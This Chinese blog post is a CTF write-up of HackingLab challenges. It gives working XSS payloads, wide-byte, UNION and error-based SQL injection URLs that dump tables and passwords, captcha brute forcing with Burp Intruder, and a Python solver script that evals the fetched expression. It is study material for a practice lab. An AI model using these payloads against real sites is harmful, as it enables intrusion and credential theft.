hackinglab

选择题和基础关比较简单,刷题刷得很爽(可能这就是菜鸟的成就感吧),后面的关卡就......

脚本关

key又又找不到了

这个题比较简单,抓包重放,发现flag~


image.png
快速口算

不会写脚本的我只能百度writeup。。。。。。找到的脚本如下:

#coding=utf-8  
import re #正则模块
import requests

s = requests.Session()  
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
r.encoding = 'utf-8'   #修改编码
print(r.text)
num = re.findall(re.compile(r'<br/>\s+(.*?)='), r.text)[0]  #正则表达式找到算术式

print ('result:\n\n%s=%d\n' % (num, eval(num)))  #输出算术式计算结果
r = s.post(url, data={'v': eval(num)})  #将结果提交  抓包可看出要用v提交
print (r.text)  #输出返回结果
这个题目是空的

null即可通过。

怎么就是不弹出key呢?

查看源码,发现有一段js代码,直接放进Chrome控制台运行,弹出flag。注意key为chars后的前14个字符。


image.png
逗比验证码第一期

根据题目提示,发现密码是首位不为0的四位数字,同时验证码可重复使用多次,利用burpsuite的intruder进行爆破。


image.png

找到key!


image.png
逗比验证码第二期

同上,虽然验证码只可用一次,但发现删除验证码返回pwd错误。继续进行爆破,找到key。


image.png
逗比验证码第三期

感觉和session并没有什么关系,和上一题解题思路一样,不是很懂,网上是这样解释的:

验证码发布的流程
1. 显示表单
2. 显示验证码(调用生成验证码的程序),将验证码加密后放进 session 或者 cookie
3. 用户提交表单
4. 核对验证码无误、数据合法后写入数据库完成
用户如果再发布一条,正常情况下,会再次访问表单页面,验证码图片被动更新, session 和 cookie 也就跟着变了
但是灌水机操作不一定非要使用表单页面,它可以直接模拟 post 向服务端程序发送数据,这样验证码程序没有被调用,当然 session 和 cookie 存储的加密验证码就是上次的值,也就没有更新,这样以后无限次的通过post直接发送的数据,而不考虑验证码,验证码形同虚设!
所以,在核对验证码后先将 session 和 cookie 的值清空,然后做数据合法性判断,然后入库!这样,一个漏洞就被补上了!
image.png
微笑一下就能过关了

分析源码:


image.png

发现常用网络协议已经过滤。


image.png

data协议格式为:
     data:资源类型;编码,内容
因此,payload:

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^_^=data:,(●'◡'●)

逗比的手机验证码

先用以前的手机号获取到验证码,抓包将手机号修改即可得到key。


image.png
基情燃烧的岁月

先用之前的手机号登陆,发现提示验证码为开头非0的三位数,进行爆破后找到另一个手机号,继续进行爆破,发现flag!


image.png
验证码识别

图片验证码在不断变化,普通的intruder无法爆破,不会做QAQ

xss基础关

在输入框中随意提交<script>alert(1)</script>,发现提示:


image.png

于是提交<script>alert(HackingLab)</script>,得到key值。

XSS基础2:简单绕过

上一题的payload被过滤了,换一个:

<img src=# onerror=alert(HackingLab) />

XSS基础3:检测与构造

这个题目过滤了好多字符,比较菜就不会@_@后面看了网上的解析:

这个题当 value 为敏感字符串时,出现的敏感字符串反而不会被过滤,这样就可以构造alert' onmouseover=alert(HackingLab)>并提交,将鼠标移动到第二个输入框上方就能触发弹窗.

Principle很重要的XSS

不会做+1。。。。。。坐等大佬们的writeup!

注入关

最简单的sql注入

真的很简单,注释符绕过即可。

最简单的SQL注入(熟悉注入环境)

查看源码看到提示找到注入点。
字段数:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 3#

但是之后无法得到显示位,就很尴尬😅后面发现是我想太多,payload如下:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1

防注入

宽字节注入。

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' or 1=1%23

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' or 1=1 order by 3%23

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),user()%23

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df%27 union select 1,group_concat(title_1,content_1),3 from mydbs.sae_user_sqli4%23

该题参考自:https://hellohxk.com/blog/hackinglab-writeup/

到底能不能回显

报错注入好难啊=-=
不会做+1
看完其他人的writeup后,稍微有了点头绪。首先,了解一下mysql注入点在limit关键字后面的利用方法。http://www.freebuf.com/articles/web/57528.html

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,@@version)),1)%23&num=1

payload:

获取表名:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23&num=1
获取列名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23&num=1

获取字段:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23 &num=100 %23

邂逅

图片类型的宽字节注入。


image.png

字段数:4
找到显示位:3

dog1.jpg%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4%23

image.png

dog1.jpg%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x61727469636c65),4%23

image.png

dog1.jpg%df' union select 1,2,(select group_concat(id,picname) from mydbs.pic),4%23

image.png

访问http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg,得:

image.png

ErrorBased

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x3a,(SELECT distinct concat(0x3a,username,0x3a,motto,0x3a,0x3a) FROM motto limit 3,1)))%23

盲注

基于时间的盲注。

SQL注入通用防护

cookie存在sql注入。

据说哈希后的密码是不能产生注入的
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,500评论 0 5
  • 基础篇 alert(HackingLab) 这样也可以 这题也差不多 http://lab1.xseclab.co...
    查无此人asdasd阅读 979评论 0 1
  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 4,786评论 0 9
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,930评论 0 9
  • 卖衣服萝莉控的事情
    聊天了吗阅读 174评论 0 0